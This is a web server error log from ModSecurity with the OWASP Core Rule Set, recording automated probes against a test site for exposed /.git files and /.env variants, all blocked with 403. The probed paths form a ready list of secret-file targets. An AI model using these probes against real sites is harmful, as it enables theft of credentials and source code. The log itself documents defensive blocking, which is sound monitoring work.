[Fri Mar 20 06:08:09.354012 2026] [:error] [pid 2815710] [client 34.10.160.156:17154] [client 34.10.160.156] ModSecurity: Rule 7f6d45d5e320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abzWOTQ9Th-2Y9b0JRd1cQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/
[Fri Mar 20 06:08:09.354215 2026] [:error] [pid 2815710] [client 34.10.160.156:17154] [client 34.10.160.156] ModSecurity: Rule 7f6d45d55030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abzWOTQ9Th-2Y9b0JRd1cQAAAAE"], referer: https://forst-trento.test.indacotrentino.com/
[Fri Mar 20 16:14:03.120768 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1wwAAAAE"]
[Fri Mar 20 16:14:03.120923 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1wwAAAAE"]
[Fri Mar 20 16:14:03.121045 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1wwAAAAE"]
[Fri Mar 20 16:14:03.123094 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "ab1kO_9i5ZHhQgdGB68gKgAAAAg"]
[Fri Mar 20 16:14:03.123115 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "ab1kO5JiwBXnNifSr5vetQAAAAQ"]
[Fri Mar 20 16:14:03.123222 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "ab1kO5JiwBXnNifSr5vetQAAAAQ"]
[Fri Mar 20 16:14:03.123223 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "ab1kO_9i5ZHhQgdGB68gKgAAAAg"]
[Fri Mar 20 16:14:03.123327 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "ab1kO5JiwBXnNifSr5vetQAAAAQ"]
[Fri Mar 20 16:14:03.123334 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "ab1kO_9i5ZHhQgdGB68gKgAAAAg"]
[Fri Mar 20 16:14:03.123715 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "ab1kOxq8pDZXKMuYECLOaAAAAAk"]
[Fri Mar 20 16:14:03.123807 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "ab1kOxq8pDZXKMuYECLOaAAAAAk"]
[Fri Mar 20 16:14:03.123919 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "ab1kOxq8pDZXKMuYECLOaAAAAAk"]
[Fri Mar 20 16:14:03.131189 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ab1kO2LvrbuE12wYiLe4PAAAABA"]
[Fri Mar 20 16:14:03.131297 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ab1kO2LvrbuE12wYiLe4PAAAABA"]
[Fri Mar 20 16:14:03.131419 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ab1kO2LvrbuE12wYiLe4PAAAABA"]
[Fri Mar 20 16:14:03.132414 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "ab1kO0nH70iMTzyPh3kWmQAAAAY"]
[Fri Mar 20 16:14:03.132507 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "ab1kO0nH70iMTzyPh3kWmQAAAAY"]
[Fri Mar 20 16:14:03.132614 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "ab1kO0nH70iMTzyPh3kWmQAAAAY"]
[Fri Mar 20 16:14:03.142775 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ab1kO5JiwBXnNifSr5vetgAAAAQ"]
[Fri Mar 20 16:14:03.142871 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ab1kO5JiwBXnNifSr5vetgAAAAQ"]
[Fri Mar 20 16:14:03.142978 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ab1kO5JiwBXnNifSr5vetgAAAAQ"]
[Fri Mar 20 16:14:03.143399 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "ab1kO_9i5ZHhQgdGB68gKwAAAAg"]
[Fri Mar 20 16:14:03.143509 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "ab1kO_9i5ZHhQgdGB68gKwAAAAg"]
[Fri Mar 20 16:14:03.143621 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "ab1kO_9i5ZHhQgdGB68gKwAAAAg"]
[Fri Mar 20 16:14:03.144993 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xAAAAAE"]
[Fri Mar 20 16:14:03.145078 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xAAAAAE"]
[Fri Mar 20 16:14:03.145179 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xAAAAAE"]
[Fri Mar 20 16:14:03.155674 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "ab1kO2LvrbuE12wYiLe4PQAAABA"]
[Fri Mar 20 16:14:03.155774 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "ab1kO2LvrbuE12wYiLe4PQAAABA"]
[Fri Mar 20 16:14:03.155893 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "ab1kO2LvrbuE12wYiLe4PQAAABA"]
[Fri Mar 20 16:14:03.156939 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "ab1kOxq8pDZXKMuYECLOaQAAAAk"]
[Fri Mar 20 16:14:03.157029 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "ab1kOxq8pDZXKMuYECLOaQAAAAk"]
[Fri Mar 20 16:14:03.157143 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "ab1kOxq8pDZXKMuYECLOaQAAAAk"]
[Fri Mar 20 16:14:03.163308 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "ab1kO0nH70iMTzyPh3kWmgAAAAY"]
[Fri Mar 20 16:14:03.163404 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "ab1kO0nH70iMTzyPh3kWmgAAAAY"]
[Fri Mar 20 16:14:03.163512 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "ab1kO0nH70iMTzyPh3kWmgAAAAY"]
[Fri Mar 20 16:14:03.179893 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kO5JiwBXnNifSr5vetwAAAAQ"]
[Fri Mar 20 16:14:03.180038 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kO5JiwBXnNifSr5vetwAAAAQ"]
